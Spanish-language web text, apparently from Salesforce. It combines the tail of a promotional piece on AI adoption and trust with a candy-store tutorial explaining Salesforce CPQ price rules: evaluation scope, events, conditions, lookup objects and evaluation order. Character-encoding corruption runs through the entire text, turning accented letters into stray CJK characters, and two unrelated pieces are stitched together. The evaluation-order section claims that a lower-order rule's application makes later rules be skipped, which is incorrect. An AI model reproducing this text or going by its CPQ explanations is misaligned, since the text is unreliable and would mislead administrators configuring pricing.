  • Defina iniciativas de capacitaci贸n : haga que la capacitaci贸n en IA sea una parte obligatoria de la habilitaci贸n de los empleados. Salesforce, por ejemplo, reconoci贸 la importancia de equipar a sus empleados con un enfoque seguro y reflexivo para usar la IA. Este paso fue esencial durante su cambio para convertirse en el CRM de IA n.潞 1 del mundo.
  • Cree procesos formales para aumentar las tasas de adopci贸n de la IA : no espere a que los miembros del equipo exploren la IA en su tiempo libre. Establezca procesos estructurados para integrar la innovaci贸n de IA en el trabajo de todos. Considere formar comit茅s dedicados para impulsar los avances de la IA o medir la cantidad de ideas de IA enviadas por los ingenieros. Independientemente de la estructura que elija, formalizar el proceso de adopci贸n es clave.
  • Sea flexible con la tecnolog铆a de IA en evoluci贸n : mant茅ngase actualizado con los 煤ltimos avances en IA. En un panorama que cambia r谩pidamente, las empresas deben prepararse para adaptar y cambiar sus iniciativas. Adopte la flexibilidad y la agilidad cuando trabaje con tecnolog铆as de IA.

Al adoptar las mejores pr谩cticas de transformaci贸n digital e incorporar la IA en los procesos formales, las organizaciones allanan el camino para el 茅xito continuo en el futuro de la IA.

Impulse la transformaci贸n continua con la Oficina de Innovaci贸n Continua

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Proteja su IA

Si bien la IA presenta inmensas oportunidades, una preocupaci贸n crucial es el uso 茅tico de la IA. Es imperativo salvaguardar los datos confidenciales de los clientes de su empresa con una plataforma de IA confiable , como AI Cloud de Salesforce , construida sobre la capa de confianza GPT de Einstein . Las plataformas de IA confiables implementan medidas s贸lidas de protecci贸n de datos, que incluyen encriptaci贸n, controles de acceso y cumplimiento de las normas de privacidad de datos.

Para salvaguardar sus datos confidenciales y mantener la confianza de sus clientes:

  • Establecer un marco de gobernanza 茅tico : Promover la transparencia, la equidad y la responsabilidad en los algoritmos de IA y los procesos de toma de decisiones. Esto garantiza que la implementaci贸n responsable est茅 alineada con los valores de su negocio.
  • Priorice la privacidad y la seguridad de los datos : aplique medidas estrictas para proteger la informaci贸n confidencial. Cumpla con las regulaciones y siga las mejores pr谩cticas de la industria. Dado que la IA depende en gran medida de los datos, proteger esos datos fomenta la confianza entre los clientes, socios y partes interesadas.
  • Proporcione programas regulares de capacitaci贸n y actualizaci贸n : aseg煤rese de que su capacitaci贸n de habilitaci贸n cubra los aspectos t茅cnicos de la IA, as铆 como la comprensi贸n de sus limitaciones y riesgos. Con este conocimiento, los empleados pueden tomar decisiones informadas y tomar las medidas adecuadas mientras usan la IA.

Al implementar la IA de manera responsable y comprender las necesidades y los obst谩culos para adoptar la IA, las organizaciones pueden convertirse en l铆deres confiables en la era de la inteligencia artificial.

Encienda su viaje de transformaci贸n de IA

Revolucione la productividad, la eficiencia y las experiencias de los clientes de su organizaci贸n para un futuro de IA. Al crear seguridad, proporcionar una raz贸n para el cambio centrada en el ser humano, empoderar a sus equipos y salvaguardar la IA, las organizaciones pueden experimentar una profunda transformaci贸n en empresas impulsadas por la IA.

Salesforce Professional Services ofrece una oportunidad 煤nica para las organizaciones que buscan embarcarse en su viaje de IA. Adopte AI Coach y haga uso de la experiencia de los servicios profesionales de Salesforce para maximizar el potencial de la IA. Trabajamos con usted para escalar y personalizar las experiencias de los clientes al alinearnos con los resultados comerciales, construir un camino hacia el valor comercial, prepararnos para la entrega inmediata y establecer una hoja de ruta de estado futuro que est茅 alineada con su visi贸n y objetivos.

Juntos, podemos impulsar su viaje y posicionar su negocio a la vanguardia de la innovaci贸n impulsada por IA, brindando experiencias excepcionales y generando confianza en esta era digital.

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Salesforce CPQ cubierto de az煤car: 隆Desentra帽ando las reglas de precios en el mundo de las tiendas de golosinas!

Salesforce CPQ cubierto de az煤car: 隆Desentra帽ando las reglas de precios en el mundo de las tiendas de golosinas!

Imagine que est谩 creando un sistema Salesforce CPQ para una tienda de golosinas. Vaya, ser谩 muy divertido. 驴C贸mo usar铆a las reglas de precios para manejar promociones especiales, como una oferta de "Compre uno, ll茅vese otro gratis" para un dulce espec铆fico? En el escenario de la tienda de golosinas, 驴c贸mo crear铆a una regla de precio para aplicar un descuento del 20 % a todos los chocolates durante el D铆a de San Valent铆n?

Entonces, 隆saltemos y exploremos las reglas de precios en el universo de Salesforce CPQ cubierto de az煤car! Yay 馃槉

驴Regla de precios en Salesforce CPQ?

Imagina que tienes una tienda de dulces con diferentes tipos de dulces como piruletas, ositos de goma y barras de chocolate. Cada caramelo tiene un precio diferente. Ahora, hablemos de la regla del precio:

La regla del precio es como una regla especial que creas para tu tienda de golosinas. Te ayuda a decidir c贸mo fijar los precios o aplicar descuentos a diferentes dulces en funci贸n de determinadas condiciones.

Por ejemplo, supongamos que desea tener una oferta de "Compre uno, ll茅vese otro gratis" para dulces de ositos de goma. Puede crear una regla de precios que diga que cada vez que alguien compra un paquete de ositos de goma, obtiene otro paquete gratis. 隆Es como una oferta especial solo para los amantes de los ositos de goma!

O tal vez quieras tener un descuento en piruletas por tiempo limitado. Puede crear una regla de precio llamada "Venta de piruletas" que reduce el precio de las piruletas en un 20 % durante una semana. Esto hace que las piruletas sean m谩s asequibles y anima a m谩s personas a comprarlas.

La regla de precios le permite establecer diferentes acciones y condiciones de precios para cada tipo de dulce. Puede definir descuentos, ofertas especiales o incluso ajustar los precios en funci贸n de condiciones espec铆ficas, como la cantidad comprada o el estado de membres铆a del cliente.

Al crear Reglas de precios, puede hacer que su tienda de golosinas sea m谩s emocionante y atraer a m谩s clientes. Te ayuda a establecer precios y aplicar descuentos de una manera que hace felices a las personas y las alienta a comprar sus dulces favoritos.

Imagen

驴Cu谩l es la estructura de la Regla de Precios?

La regla de precios inclu铆a tres registros relacionados:

  1. Regla de precio
  2. Precio Condici贸n
  3. Acci贸n del precio

La Regla de precio tiene una relaci贸n Maestro-Detalle con la Condici贸n de precio y la Acci贸n de precio.

Al conectar la regla de precios con las condiciones de precios secundarias relevantes, el sistema de precios garantiza que se apliquen las reglas apropiadas en funci贸n de condiciones espec铆ficas. Price Action define las acciones que se deben tomar cuando se cumplen las condiciones de precio asociadas. Especifica c贸mo se deben modificar los precios u otros valores de campo en funci贸n de los criterios de la regla.

1. Regla de precio: La regla de precio contiene todas las reglas espec铆ficas para la fijaci贸n de precios en la tienda de golosinas. Le dice a la tienda c贸mo manejar diferentes situaciones al establecer los precios de los dulces.

2. Condici贸n de precio: Hay alguien en la tienda que verifica el tipo de dulces que desea comprar. Se aseguran de que cumpla ciertas condiciones, como ser un 鈥淕ummy Bear鈥 o tener un sabor espec铆fico.

3. Acci贸n del precio: una vez que el dulce pasa la inspecci贸n, hay alguien que ajusta el precio seg煤n las reglas de precios. Pueden ofrecer un descuento, cambiar la cantidad o hacer algo especial para que el precio sea m谩s atractivo.

Importancia de los campos en la regla de precios

Los campos juegan un papel importante en las reglas de precios dentro de Salesforce CPQ. Las reglas de precios usan campos para definir condiciones, acciones y criterios que determinan c贸mo se aplican los c谩lculos de precios y los descuentos. Por lo tanto, comprenderemos cada campo en el objeto Regla de precio y su importancia con la ayuda del Ejemplo de tienda de golosinas.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Diferencia entre Calculator y Configurator Evaluation Scope en la regla de precio en Salesforce CPQ?

Un rect谩ngulo blanco y azul con una l铆nea azul Descripci贸n generada autom谩ticamente

El campo Alcance de la evaluaci贸n es como usar esa calculadora m谩gica. Cuando tiene reglas de precios con el 脕mbito de evaluaci贸n de la calculadora, la calculadora las utiliza para decidir cu谩nto deber铆a costar algo. Tiene dos valores de lista de selecci贸n:

  • 脕mbito de evaluaci贸n de la calculadora: el 谩mbito se trata de usar reglas especiales para calcular precios.
  • 脕mbito de evaluaci贸n del configurador: seguir las reglas cuando elige diferentes opciones.

Expliquemos la diferencia entre los 谩mbitos de evaluaci贸n de Calculadora y Configurador en Salesforce CPQ con un ejemplo en tiempo real:

Imagina que vas a una tienda de dulces a comprar unos deliciosos dulces. Tienes un presupuesto de $10 y quieres comprar diferentes tipos de dulces seg煤n sus sabores.

Exploremos c贸mo entran en juego los 谩mbitos de evaluaci贸n de la calculadora y el configurador:

1. 脕mbito de evaluaci贸n de la calculadora:

鈥 Imagina que hay una oferta especial en la que si compras m谩s de 5 caramelos, obtienes un 20% de descuento sobre el precio total.

鈥 Esta oferta es un ejemplo de una regla de precio con el 脕mbito de evaluaci贸n de la calculadora. La regla calcula el precio con descuento en funci贸n de la cantidad de dulces que est谩 comprando.

鈥 Entonces, si agrega 7 dulces a su carrito, la Calculadora eval煤a la regla del precio y aplica el descuento, reduciendo el costo total.

2. Alcance de la evaluaci贸n del configurador:

鈥 Ahora, consideremos los sabores de dulces disponibles en la tienda: fresa, chocolate y lim贸n.

鈥 Existe una regla que dice que si elige dulces con sabor a fresa, no puede elegir dulces con sabor a lim贸n porque no combinan bien.

鈥 Esta regla es un ejemplo de una regla de precio con el alcance de evaluaci贸n del configurador. Controla la disponibilidad de ciertas opciones en funci贸n de sus elecciones anteriores.

鈥 Si ya tienes caramelos de fresa en tu carrito, el Configurador eval煤a la regla y evita que selecciones caramelos de lim贸n, asegurando que no termines con una combinaci贸n incompatible.

En este ejemplo anterior

El 脕mbito de evaluaci贸n de la calculadora ayuda a calcular el precio total de sus dulces en funci贸n de ofertas especiales, descuentos y cantidad.

El 脕mbito de evaluaci贸n del configurador garantiza que siga ciertas reglas al seleccionar diferentes opciones, como sabores, para evitar opciones incompatibles.

驴Explicar el evento de evaluaci贸n de la calculadora?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Expliquemos los eventos de evaluaci贸n de la calculadora de "Al iniciar", "Al calcular", "Antes de calcular" y "Despu茅s de calcular" con un ejemplo en tiempo real utilizando el escenario de la tienda de golosinas:

En breve:

鈥淥n Initiate鈥 marca el comienzo del proceso de c谩lculo de caramelos.

鈥淥n Calculate鈥 realiza el c谩lculo del precio real de los dulces.

"Antes de calcular" aplica cualquier verificaci贸n o regla final justo antes del c谩lculo.

"Despu茅s de calcular" permite acciones adicionales o sorpresas despu茅s de que se hayan determinado los precios.

Entendamos con m谩s detalle:

1. Al iniciar:

鈥 Suponga que tiene una regla de precio que establece que si el cliente es un miembro leal, obtiene un 5 % de descuento en todas las compras de golosinas.

鈥 Esta regla de precio tendr铆a el evento de evaluaci贸n establecido en "Al iniciar".

鈥 Cuando el cliente inicia el proceso de c谩lculo del precio, como por ejemplo al comenzar una nueva cotizaci贸n, el sistema verifica si es un miembro fiel y aplica el 5% de descuento a todos los dulces en su carrito desde el principio.

2. En Calcular:

鈥 Imagine que tiene una regla de precio que ofrece un descuento por volumen si el cliente compra m谩s de 10 dulces de cualquier sabor.

鈥 Esta regla de precio tendr铆a el evento de evaluaci贸n establecido en "Al calcular".

鈥 A medida que el cliente agrega dulces a su carrito, el sistema calcula continuamente la cantidad total de dulces. Cuando alcanza o supera los 10, se activa la regla de precio y se aplica un descuento por volumen a todos los dulces del carrito.

3. Antes de calcular:

鈥 Supongamos que tiene una regla de precio que establece que si el cliente ha seleccionado dulces con un precio total superior a $30, recibe una bolsa de dulces de cortes铆a.

鈥 Esta regla de precio tendr铆a el evento de evaluaci贸n establecido en "Antes de calcular".

鈥 Justo antes de realizar el c谩lculo final, el sistema verifica si el precio total de los dulces supera los $30. Si es as铆, se activa la regla de precio y se agrega una bolsa de dulces de cortes铆a al carrito.

4. Despu茅s de calcular:

鈥 Suponga que tiene una regla de precio que ofrece una oferta promocional especial de "Compre 2, obtenga 1 gratis" para un sabor de dulce espec铆fico.

鈥 Esta regla de precio tendr铆a el evento de evaluaci贸n establecido en "Despu茅s de calcular".

鈥 Una vez que se completa el c谩lculo final, el sistema revisa los dulces seleccionados por el cliente e identifica si califican para la oferta "Compre 2, obtenga 1 gratis". Si lo hacen, se activa la regla de precio y el sistema agrega los dulces gratis al carrito.

Mediante el uso de estos diferentes eventos de evaluaci贸n de la calculadora, puede aplicar descuentos, ofertas o modificaciones espec铆ficas en diferentes etapas del proceso de c谩lculo en Salesforce CPQ.

驴Cu谩l es el significado del campo "Condici贸n cumplida" en una regla de precios?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Expliquemos los conceptos de "Condici贸n cumplida – Todas" y "Condici贸n cumplida – Cualquiera" usando nuestro ejemplo de tienda de golosinas:

1. Condici贸n cumplida 鈥 Todas:

鈥 Imagina que tienes una tienda de golosinas con una promoci贸n especial: si un cliente compra al menos 5 golosinas y el precio total supera los $10, recibe una bolsa de golosinas gratis.

鈥 Esta regla de precio tendr铆a la condici贸n cumplida establecida en 鈥淭odos鈥.

鈥 Cuando un cliente agrega 5 o m谩s dulces a su carrito y el precio total de esos dulces supera los $10, 隆se cumplen todas las condiciones!

鈥 Como resultado, el sistema reconoce que el cliente califica para la promoci贸n y se agrega autom谩ticamente una bolsa de dulces gratis a su pedido al finalizar la compra.

2. Condici贸n cumplida 鈥 Cualquiera:

鈥 Ahora, considere una regla de precio diferente: si un cliente compra cualquier dulce con un sabor espec铆fico (por ejemplo, 鈥淐ereza鈥), o si compra m谩s de 10 dulces en total, recibe un descuento del 20%.

鈥 Esta regla de precio tendr铆a la condici贸n cumplida establecida en "Cualquiera".

鈥 Cuando un cliente selecciona un dulce con sabor a 鈥淐ereza鈥 o agrega m谩s de 10 dulces a su carrito, 隆cualquiera de las condiciones se cumple!

鈥 Como resultado, el sistema aplica el 20% de descuento a los dulces que califican, independientemente de la condici贸n que activ贸 el descuento.

En ambos escenarios, la "Condici贸n cumplida: todas" requiere que se cumplan todas las condiciones especificadas, mientras que la "Condici贸n cumplida: cualquiera" solo requiere que se cumpla al menos una condici贸n. Estos diferentes enfoques le permiten crear estrategias de precios personalizadas basadas en combinaciones espec铆ficas o criterios individuales.

驴Puede explicar el campo de objeto de b煤squeda en una regla de precio con la ayuda del escenario?

Un rect谩ngulo negro con borde azul Descripci贸n generada autom谩ticamente

En tu tienda de golosinas tienes diferentes tipos de golosinas con caracter铆sticas 煤nicas. El campo Objeto de b煤squeda en el objeto Regla de precio es como una conexi贸n especial que lo ayuda a aplicar reglas espec铆ficas a ciertos tipos de dulces.

Imagina que tienes un caramelo llamado "Rainbow Lollipop" y quieres crear una regla de precio especial para 茅l. As铆 es como funciona:

1. Relaci贸n de objetos de b煤squeda:

鈥 El campo Objeto de b煤squeda es como un puente que conecta la regla de precio con el caramelo 鈥淩ainbow Lollipop鈥.

鈥 Te ayuda a establecer una relaci贸n especial entre la Regla de Precio y este tipo de dulce espec铆fico.

2. Acceder a la informaci贸n de dulces:

鈥 Una vez que se establece la relaci贸n de b煤squeda, puede acceder a la informaci贸n sobre el caramelo 鈥淩ainbow Lollipop鈥 dentro de la regla de precio.

鈥 Podr谩s conocer detalles sobre el dulce, como su sabor, color

3. Aplicaci贸n de reglas especiales:

鈥 Al usar el campo Objeto de b煤squeda, puede crear reglas especiales que solo se aplican al caramelo 鈥淩ainbow Lollipop鈥.

鈥 Por ejemplo, puede crear una regla que ofrezca un descuento del 20% por cada 鈥淩ainbow Lollipop鈥 comprado.

Al tener esta conexi贸n especial entre la Regla de precio y el caramelo 鈥淩ainbow Lollipop鈥 a trav茅s del campo Objeto de b煤squeda, puede crear reglas 煤nicas y personalizadas solo para ese tipo de caramelo. Te permite aplicar ofertas especiales, descuentos u otras acciones espec铆ficas al 鈥淩ainbow Lollipop鈥 que lo hacen destacar entre otros dulces en tu tienda.

Vamos a entender con m谩s profundidad:

El campo Objeto de b煤squeda en el objeto Regla de precios es una funci贸n que le permite establecer una relaci贸n entre la Regla de precios y otro objeto en su organizaci贸n de Salesforce.

1. Establecimiento de la relaci贸n de b煤squeda:

鈥 Al crear una regla de precios, puede seleccionar un objeto relacionado en el campo Objeto de b煤squeda.

鈥 Esto establece una relaci贸n de b煤squeda entre la regla de precio y el objeto elegido.

鈥 El objeto relacionado puede ser un objeto de Salesforce est谩ndar (como Producto o Cuenta) o un objeto personalizado espec铆fico para sus necesidades comerciales.

2. Acceso a datos relacionados:

鈥 Una vez que se establece la relaci贸n de b煤squeda, puede acceder a los datos relacionados del objeto elegido dentro de la regla de precio.

鈥 Esto significa que puede recuperar informaci贸n de campos espec铆ficos en el objeto relacionado y usarla en su l贸gica de reglas de precios.

鈥 Por ejemplo, si el objeto de b煤squeda se establece en "Producto", puede acceder a los campos del objeto Producto, como Nombre del producto, Precio o cualquier campo personalizado relacionado con el producto.

3. Utilizaci贸n del objeto de b煤squeda en la l贸gica de la regla de precios:

鈥 Con el campo Objeto de b煤squeda, puede aprovechar los datos relacionados del objeto elegido para impulsar las condiciones y acciones de la regla de precios.

鈥 Por ejemplo, puede crear una regla de precio que aplique un descuento basado en el valor de un campo en el objeto relacionado.

鈥 Al hacer referencia a los campos en el objeto relacionado, puede definir condiciones y acciones que son din谩micas y adaptables en funci贸n de los valores almacenados en el objeto relacionado.

En resumen, el campo Objeto de b煤squeda en la Regla de precios le permite establecer una relaci贸n con otro objeto, recuperar datos de ese objeto y usarlos en la l贸gica de su regla de precios.

Si no ponemos ning煤n nombre de objeto en el campo de objeto de b煤squeda, 驴significa que no obtendr谩 datos de ese objeto y no podemos establecer una condici贸n basada en un registro en particular?

Eso es correcto. Si no especifica un nombre de objeto en el campo Objeto de b煤squeda de la Regla de precio, significa que la regla de precio no obtendr谩 datos de ning煤n objeto espec铆fico . Sin un objeto de b煤squeda especificado, no podr谩 establecer condiciones ni realizar acciones basadas en un registro particular o datos de otro objeto.

El campo Objeto de b煤squeda es fundamental para establecer una relaci贸n entre la regla de precios y un objeto espec铆fico. Le permite acceder y aprovechar los datos de ese objeto en la l贸gica de su regla de precios. Si deja el campo Objeto de b煤squeda en blanco, la regla de precio no tendr谩 una conexi贸n con ning煤n objeto, lo que limitar谩 su capacidad para hacer referencia a datos de otros registros o aplicar condiciones basadas en valores espec铆ficos .

驴Cu谩l es el significado de la casilla de verificaci贸n Activa en la regla de precios?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Cuando la casilla de verificaci贸n "Activo" est谩 marcada, indica que la regla de precios est谩 activa y solo entonces se evaluar谩 durante el proceso de c谩lculo de precios. Las reglas de precio inactivas no se eval煤an y sus condiciones y acciones se ignoran.

驴C贸mo afecta el campo Orden de evaluaci贸n a la aplicaci贸n de las Reglas de precios?

Un rect谩ngulo blanco con l铆neas negras Descripci贸n generada autom谩ticamente

El 鈥淥rden de Evaluaci贸n鈥 en una Regla de Precios es fundamental para definir la secuencia en la que se eval煤an las reglas durante el proceso de c谩lculo de precios. Ayuda a establecer la prioridad y la jerarqu铆a de las reglas cuando se aplican varias reglas. Las reglas con valores de orden de evaluaci贸n m谩s bajos se eval煤an primero.

Ejemplo de Orden de Evaluaci贸n:

Regla 1: Descuento para barras de chocolate

Orden de evaluaci贸n: 1

Condici贸n: Tipo de Caramelo es igual a 鈥淏arra de Chocolate鈥

Acci贸n: Aplicar un 10% de descuento sobre el precio de la barra de chocolate.

Regla 2: compre uno, ll茅vese otro gratis

Orden de evaluaci贸n: 2

Condici贸n: la cantidad es mayor o igual a 2

Acci贸n: Proporcionar un dulce gratis por cada dos dulces comprados.

En este ejemplo, la regla 1 tiene un orden de evaluaci贸n de 1, mientras que la regla 2 tiene un orden de evaluaci贸n de 2.

La regla 1 se evaluar谩 primero, seguida de la regla 2.

Ahora, veamos c贸mo la Orden de Evaluaci贸n impacta el c谩lculo de precios:

Supongamos que un cliente agrega dos barras de chocolate a su carrito. La Orden de Evaluaci贸n dicta la secuencia de ejecuci贸n de la regla. La regla 1, con un Orden de Evaluaci贸n inferior a 1, se evaluar谩 primero.

Regla 1 (Orden de evaluaci贸n 1):

Dado que el tipo de caramelo es una 鈥淏arra de Chocolate鈥 (condici贸n cumplida), se aplica un descuento del 10% sobre el precio de cada barra de chocolate.

Regla 2 (Orden de Evaluaci贸n 2):

La cantidad es 2 (condici贸n cumplida), pero la regla 2 no se evaluar谩 porque la regla 1 ya se aplic贸.

Como resultado, el cliente recibe un 10% de descuento en cada barra de chocolate y no hay cambios debido a la Regla 2.

Nota: La regla 1 se eval煤a primero y la regla 2 se omite porque la regla 1 ya se ha aplicado. S贸lo se aplicar谩 la primera regla. Esto se debe a que el Orden de evaluaci贸n determina la secuencia en la que se eval煤an las reglas y, una vez que se aplica una regla, se omiten las reglas posteriores con valores de Orden de evaluaci贸n m谩s altos.

驴Qu茅 sucede si queremos que se apliquen las reglas de precios y que no se omita ninguna seg煤n el Orden de evaluaci贸n?

Si desea que se apliquen ambas reglas sin omitir ninguna de ellas, deber谩 asegurarse de que ambas reglas tengan el mismo valor de Orden de evaluaci贸n. Al asignar el mismo Orden de Evaluaci贸n a ambas reglas, indica que tienen la misma prioridad, y ambas ser谩n evaluadas y aplicadas si se cumplen sus respectivas condiciones.

Modifiquemos el ejemplo para ilustrar esto:

1. Regla 1: Descuento para barras de chocolate

鈥 Orden de Evaluaci贸n: 1

鈥 Condici贸n: Tipo de Caramelo es igual a 鈥淏arra de Chocolate鈥

鈥 Acci贸n: Aplicar un 10% de descuento sobre el precio de la tableta de chocolate.

2. Regla 2: compre uno, ll茅vese otro gratis

鈥 Orden de Evaluaci贸n: 1

鈥 Condici贸n: La cantidad es mayor o igual a 2

鈥 Acci贸n: Proporcionar un caramelo gratis por cada dos caramelos comprados.

Con esta modificaci贸n, ambas reglas tienen un Orden de Evaluaci贸n de 1, lo que indica que tienen la misma prioridad.

Supongamos que un cliente agrega dos barras de chocolate a su carrito: la regla 1 y la regla 2, ambas con el orden de evaluaci贸n 1, se evaluar谩n en el orden en que aparecen.

鈥 Regla 1 (Orden de Evaluaci贸n 1):

鈥 Dado que el tipo de caramelo es una 鈥淏arra de Chocolate鈥 (condici贸n cumplida), se aplica un 10% de descuento sobre el precio de cada barra de chocolate.

鈥 Regla 2 (Orden de Evaluaci贸n 1):

鈥 La cantidad es 2 (condici贸n cumplida), y como ambas reglas tienen el mismo Orden de Evaluaci贸n, tambi茅n se eval煤a la Regla 2.

鈥 Se ejecuta la acci贸n de la Regla 2, entregando un caramelo gratis por cada dos caramelos comprados.

En este escenario, dado que ambas reglas tienen el mismo Orden de Evaluaci贸n, se eval煤an en el orden en que aparecen y ambas reglas se aplican si se cumplen sus condiciones. El cliente recibe un 10% de descuento en cada barra de chocolate y recibe un dulce gratis debido a la Regla 2.

驴C贸mo puede definir condiciones complejas usando la funci贸n de Condici贸n avanzada en una regla de precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Expliquemos la Condici贸n Avanzada en una Regla de Precio usando un ejemplo de caramelo:

Escenario de regla:

鈥 Desea crear una regla de precio para los dulces que son del tipo 鈥淕ummy Bear鈥, tienen un sabor a 鈥淔resa鈥 o se encuentran dentro de un rango de precios de $1 a $5.

Creando la Condici贸n Avanzada:

鈥 Con la funci贸n Condici贸n avanzada, puede definir una condici贸n compleja que involucre m煤ltiples campos y valores de comparaci贸n.

鈥 En este caso, configurar铆a la Condici贸n de precio asociada con la regla de precio con los siguientes componentes:

鈥 Condici贸n 1: Tipo de Caramelo es igual a 鈥淥sito de Gominola鈥

鈥 Condici贸n 2: Sabor igual a 鈥淔resa鈥

鈥 Condici贸n 3: El precio est谩 entre $1 y $5

(Candy_Type__c = 'Gummy Bear' && Flavor__c = 'Fresa') || (Precio__c >= 1 && Precio__c <= 5)

Tal como es (1 Y 2) O 3, implementaremos esta l贸gica utilizando la condici贸n avanzada

驴Qu茅 es el campo Producto en la regla de precio?

Un rect谩ngulo blanco con l铆neas negras Descripci贸n generada autom谩ticamente

Expliquemos el campo 鈥淧roducto鈥 en una Regla de Precio usando un ejemplo de dulces de una manera simple y f谩cil de entender:

Imagina que tienes una tienda de dulces con una variedad de dulces, como piruletas, barras de chocolate y ositos de goma. Cada caramelo tiene su propio precio. Ahora, hablemos del campo 鈥淧roducto鈥 en una regla de precio:

1. Selecci贸n de un producto de caramelo:

鈥 El campo 鈥淧roducto鈥 en una regla de precio le permite elegir un dulce espec铆fico del inventario de su tienda.

鈥 Por ejemplo, puede seleccionar el caramelo 鈥淕ummy Bears鈥 como el producto de destino para la regla de precio.

2. Aplicar acciones de fijaci贸n de precios a los dulces seleccionados:

鈥 Una vez que haya seleccionado el caramelo "Gummy Bears" en el campo "Producto", puede definir las acciones de fijaci贸n de precios que se aplicar谩n espec铆ficamente a ese caramelo.

鈥 Las acciones de fijaci贸n de precios pueden incluir cosas como descuentos u ofertas especiales.

鈥 Por ejemplo, puede crear una regla de precio que proporcione un 10 % de descuento en el precio de los dulces 鈥淕ummy Bears鈥.

3. Creaci贸n de condiciones divertidas (opcional):

Tambi茅n puede establecer condiciones divertidas en funci贸n de las caracter铆sticas de los dulces seleccionados.

Por ejemplo, puede crear una condici贸n que aplique la regla del precio solo si el caramelo "Gummy Bears" es de color rojo.

Podemos agregar el producto en el campo de objeto de b煤squeda en lugar del campo de producto en Salesforce, 驴cu谩l es la diferencia?

隆Est谩s en lo correcto! Adem谩s de seleccionar el producto directamente en el campo "Producto" de una regla de precios, tambi茅n tiene la opci贸n de hacer referencia al producto a trav茅s de un campo de relaci贸n de b煤squeda utilizando un objeto de b煤squeda. Exploremos la diferencia entre los dos enfoques:

1. Campo de producto:

鈥 Cuando selecciona el producto directamente en el campo 鈥淧roducto鈥 de la Regla de precio, est谩 asociando la regla de precio directamente con un producto espec铆fico.

鈥 Este enfoque es 煤til cuando desea definir acciones o condiciones de fijaci贸n de precios que se aplican a un producto o grupo de productos en particular.

鈥 Es una forma sencilla de orientar productos espec铆ficos dentro de su cat谩logo y definir reglas exclusivamente para esos productos.

2. Objeto de b煤squeda:

鈥 Con un objeto de b煤squeda, puede establecer una relaci贸n entre la Regla de precio y otro objeto en Salesforce, como un objeto personalizado o un objeto est谩ndar como una Cuenta u Oportunidad.

鈥 Esto le permite hacer referencia al producto indirectamente a trav茅s del objeto relacionado.

鈥 Mediante el uso de una relaci贸n de b煤squeda, puede definir acciones o condiciones de fijaci贸n de precios en funci贸n de los datos tanto del objeto relacionado como del producto asociado.

鈥 Este enfoque proporciona m谩s flexibilidad en la creaci贸n de reglas que dependen de la informaci贸n de otros objetos adem谩s del propio producto.

La elecci贸n entre usar el campo directo "Producto" o un objeto de b煤squeda depende de su caso de uso y requisitos espec铆ficos. Si solo necesita segmentar y definir reglas para productos espec铆ficos, el uso del campo "Producto" suele ser suficiente. Sin embargo, si su l贸gica de precios involucra datos de objetos relacionados o requiere relaciones m谩s complejas, puede ser beneficioso utilizar un objeto de b煤squeda.

驴C贸mo se especifican los grupos de productos a los que se aplica la regla de precios?

Expliquemos la implementaci贸n de grupos de productos en Reglas de precios usando un ejemplo de dulces:

1. Definir grupos de productos:

-Cree un campo personalizado de "Grupo de productos" en el objeto del producto. Establecer el valor del campo con

  • Caramelos Gomosos
  • Caramelos De Chocolate

2. Asignar atributos del producto:

鈥 Establezca el campo "Grupo de productos" en el objeto del producto en "Caramelos de goma" para los productos de ositos de goma y gusanos de goma.

鈥 Establezca el campo "Grupo de productos" en el objeto de producto en "Caramelos de chocolate" para barras de chocolate y productos de frutos secos cubiertos de chocolate.

3. Cree o edite una regla de precios:

鈥 Cree una nueva regla de precios o edite una existente haciendo clic en el bot贸n "Nuevo" o seleccionando la regla de precios deseada.

4. Asociar con el Objeto Producto:

鈥 En el registro de Regla de precio, localice el campo de b煤squeda o el campo de producto que le permite asociar la Regla de precio con el objeto que contiene el campo 鈥淕rupo de productos鈥 (en este caso, el objeto Producto).

5. Definir condiciones:

鈥 Dentro de la Regla de Precio, defina las condiciones de precio que especifican los grupos de productos.

鈥 Elija el campo que representa el grupo de productos, como el campo 鈥淕rupo de productos鈥 en el objeto asociado (objeto Producto).

鈥 Configure el operador adecuado (p. ej., 鈥淓s igual a鈥) y el valor deseado para el grupo de productos (p. ej., 鈥淐aramelos de goma鈥).

Ejemplo: Condici贸n 1

鈥 Campo: Producto: Grupo de productos

鈥 Operador: Igual

鈥 Valor: 鈥淐aramelos de goma鈥

Ejemplo: Condici贸n 2

鈥 Campo: Producto: Grupo de productos

鈥 Operador: Igual

鈥 Valor: 鈥淐aramelos de Chocolate鈥

6. Especificar acciones de fijaci贸n de precios:

鈥 Una vez que se cumplan las condiciones, defina las acciones de fijaci贸n de precios que desea aplicar a los productos en los grupos de productos espec铆ficos.

鈥 Configure las acciones de fijaci贸n de precios en funci贸n de sus requisitos, como establecer descuentos, ajustar precios o aplicar cualquier otra l贸gica de fijaci贸n de precios que desee.

Ejemplo: Precio Acci贸n 1

鈥 Si se cumple la Condici贸n 1 (Grupo de productos es igual a 鈥淐aramelos de gominola鈥), establezca un 10% de descuento en los productos afectados.

Ejemplo: Precio Acci贸n 2

鈥 Si se cumple la Condici贸n 2 (Grupo de Producto es igual a 鈥淒ulces de Chocolate鈥), establecer un precio especial en los productos afectados.

驴Cu谩les son algunas de las mejores pr谩cticas para dise帽ar y configurar reglas de precios en Salesforce CPQ?

1. Definir requisitos claros de fijaci贸n de precios:

鈥 Defina claramente sus requisitos de precios y comprenda el comportamiento de precios deseado.

鈥 Identificar las estrategias de precios, las reglas de descuento y los c谩lculos personalizados necesarios.

2. Estructura de las reglas de precios del plan:

鈥 Planifica la estructura de tus Reglas de Precios de forma l贸gica y organizada.

鈥 Dividir escenarios de precios complejos en reglas de precios m谩s peque帽as y manejables.

鈥 Esto mejora la capacidad de mantenimiento y facilita la resoluci贸n de problemas y las modificaciones.

3. Use nombres de reglas descriptivos:

鈥 Asigne nombres significativos y descriptivos a sus Reglas de precios.

鈥 Esto ayuda a identificar y comprender el prop贸sito de cada regla, especialmente cuando se trata de muchas reglas de precios.

4. Establecer orden de evaluaci贸n l贸gica:

鈥 Establezca el campo Orden de evaluaci贸n en el objeto Regla de precio de forma adecuada.

鈥 Controlar la secuencia en la que se eval煤an y aplican las Reglas de Precios.

鈥 Aseg煤rese de que el orden de evaluaci贸n se alinee con la l贸gica y los requisitos de precios previstos.

